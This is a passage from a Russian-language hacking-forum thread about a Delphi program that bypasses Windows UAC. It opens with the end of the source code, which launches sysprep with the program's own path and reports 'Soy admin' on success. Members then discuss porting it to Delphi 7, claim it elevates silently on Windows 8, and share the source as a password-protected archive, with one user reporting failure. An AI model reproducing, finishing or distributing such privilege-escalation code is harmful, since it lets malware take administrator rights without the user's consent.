	  Param1 := '"' + paramstr(1) + '"';
	  ShellExecute(0, 'OPEN', PChar(SysPrp), PChar(Param1), nil, SW_SHOW);
	  ExitProcess(0);
	end;
  end;
end;
 
begin
  if Bypass then
	Messagebox(0, 'Soy admin', '', MB_OK);
end.
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 068
Репутация
8 175
Для компиляции нужен XE5,а что менять для совместимости с седьмой делфи-ХЗ.Так что проверить не смог(.
Я уже проверял на отключонном UAC работает, а если UAC включён происходит крах программы, но можете проверить сами, вот переделанный мной под 7-ку исходник !

Пароль:111

Если честно, то код немного непонятен мне:

1)Константы FOp и DllDummy это какой-то скомпилированный ассемблерный код или что ?Не въехал!!!

2)У них несостыковка типов PChar и PWideChar

PWideChar используется преимущественно при обработке строк с нулевым символом в конце.

Так вот 7-ой делфи не может преобразовать PWideChar в PChar, я в исходнике заменил просто на PWideChar, по идеи не должно это влиять на саму работу-же ?Не въехал!!!
 

Вложения

  • UAC_DELPHI.rar
    51.3 КБ · Просмотры: 150

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 068
Репутация
8 175
Я уже проверял на отключонном UAC работает, а если UAC включён происходит крах программы, но можете проверить сами, вот переделанный мной под 7-ку исходник !
УРЯЯЯЯЯЯЯЯЯЯЯЯЯЯ ЗАРАБОТАЛО, ВСЁ-ТАКИ ДОБИЛСЯ СВОЕГО !:utenok:

НА 8-КЕ ПРАВОЙ КНОПКОЙ МЫШИ "ЗАПУСТИТЬ ОТ ИМЕНИ АДМИНИСТРАТОРА", ПРОГРАММА ЗАПУСТИТСЯ БЕЗ УВЕДОМЛЕНИЯ !Hi-H-88

ВОТ ЭТО-УЖЕ НАСТОЯЩИЙ ФАК-УАК !Dmeh-Smeh-Smeh!!!

ОБНОВИЛ ИСХОДНИК В ПРЕДЫДУЩЕМ ПОСТЕ....
 

Антоха

Уважаемый пользователь
Форумчанин
Регистрация
26.12.2012
Сообщения
2 780
Репутация
4 652
Олег,сорри это снова я со своей критикой)У меня не работает (как всегда),ни на восьмёрке ни на семёрке.Запускал фак уац от админа,прога типа сработала и выдала окошко "soy admin",но никаких изменений в системе не произошло.И после перезагрузки тоже.UAC не повержен.
Если запускать без админских прав,выдаёт:
Снимок.JPG
 
Верх Низ